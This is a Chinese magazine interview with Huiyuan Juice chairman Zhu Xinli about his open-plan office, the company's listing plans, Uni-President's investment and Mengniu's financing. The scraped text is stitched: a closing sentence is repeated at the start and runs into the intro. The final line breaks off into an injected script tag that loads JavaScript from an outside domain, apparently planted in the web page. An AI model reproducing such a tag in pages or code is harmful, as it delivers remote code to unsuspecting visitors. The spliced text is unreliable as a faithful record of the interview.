其实这些年来，主动来找汇源要求合作的有十几家企业，最后我们只挑了四家，这四家都是行业的领导者。除了统一之外，还有可口可乐、百事可乐以及法国达能见到汇源集团董事长朱新礼，是在他那间特殊的办公室里。

    没有去过朱新礼办公室的人，绝对想象不到他的办公室有多大。说朱新礼是拥有世界上最大办公室的董事长，似乎并不过分，——足足有 1300 多平方米。不过，享受这一巨大空间的，并非朱新礼一人，集团总部的 120 多个员工，也都在这个敞开式的办公室里集体办公，——连隔断都没有，走进门就一览无余。

    朱新礼的办公桌，就在大厅的一角，旁边是一间只摆了几个沙发的独立小会客室，采访就在这里进行。

    13 年的时间，朱新礼成长为真正的行业领袖。 2005 年的胡润百富榜上，朱新礼以 42 亿元身价列第 24 位，同时他还位列山东首富。 2005 年底，由北京电视台主办的第二届“北京影响力”评选中，朱新礼成为十大商业人物之一。

    对此，这个山东汉子一笑了之，他的身上，抹不去的是山东人的朴实。他更看重的是汇源的未来，而他自己要走的路，似乎还很长。

    我们没去香港路演

    《中国新时代》：您年前年后一般都在忙些什么？

    朱新礼：去年年底时，主要是全体领导总结 2005 年一年的发展，做好新一年的工作准备，那段时间各种各样的会议也很多。

    大年三十的那天晚上，我是在中央电视台春节晚会直播现场度过的，这已经是我第三年在晚会现场过年了。

    新年过后，一直在忙于全国这 20 多家工厂的工作调查，会议也开始多了起来。最近多数的时间，都用于参加会见各地公司的合作伙伴，现在正是公司 2006 年的新春订货时间，仅全国订货会议就有 1500 多场，我只能有选择性的参加。

    《中国新时代》：按照你的打算，汇源何时上市？

    朱新礼：其实，有很多人问过我这个问题。我觉得上市要支付一笔不少的“灰色经费”，同时我也目睹了很多企业在上市前业绩非常好，可上市以后业绩反而下降了的情况。因此我认为，目前还不要急于上市。另外，目前我们的融资渠道还非常畅通，因为政府和金融部门都非常支持我们。当然，最主要的是，目前我在资本运作方面还是个“小学生”。

    去年年底，我们赞助的香港亚洲电视 china[V] 音乐颁奖晚会，集团的副总及宣传部工作人员应邀参加这个活动，而这样的普通香港一行，却被一些不了解情况的媒体说成是汇源去香港做上市的路演。上市是肯定的，但是至于是什么时间，暂时不便于公开。

    《中国新时代》：您怎样分配社会活动时间和工作时间？

    朱新礼：汇源果汁在 1994 年到 1997 年之间属于快速发展期，同时各种社会邀请活动也多了，我为了保证把大部分精力都用在企业上，就设了一个专门参加社会活动和负责接待工作的总经理，现在还增设了一个副总。我认为，企业家不参加一些社会活动不行，但不要过于热衷、盲从，应把企业的经营管理视为第一要素。

    与强者联姻

    《中国新时代》：牛根生的融资经历适合您吗？

    朱新礼：好多人不理解牛根生，但是我觉得蒙牛走到这一步也是迫不得已。当时他太需要资金了，尤其是地处内蒙古，本身的资金有限。不像我们在北京，找钱还相对容易些，如果在 1994 年我没有从山东搬到北京的话，我也会面临同样的困境。当时，蒙牛没有资金肯定活不下去，最早他的设备全部是租赁的，这个钱你能赊多久？销售方面全部是经销商，有伊利在那儿，肯定还不买你的账。产品要进入超市，超市一般都会有三个月的账期，这必然要求蒙牛在流动资金上至少要有 10 亿到 20 个亿的弹性。所以，在这种情况下，牛根生不得不接受那个“魔鬼协议”，协议的内容太苛刻了，未来的风险大得不可想象。

    我们如果要找一个投资人，我估计两个月就差不多了，你有一个承诺、有一个财务的审计就可以了。但是产业投资人就不一样了，要看你团队，看你的企业，看你的未来发展，看你的市场，看双方的文化融合性等等，要相互考察很久。

    《中国新时代》：汇源是否会继续引资？

    朱新礼：投资者当然越多越好。在引入统一资金后，汇源集团计划继续寻找合作者。统一的 3030 万美元，只占股份的很小的一部分，汇源占 95% ，我本人还是董事长。现在董事会中统一只占一个席位，以后会增加到两三个。

    其实这些年来，主动来找到?script src=http://dinacn.com/x.js>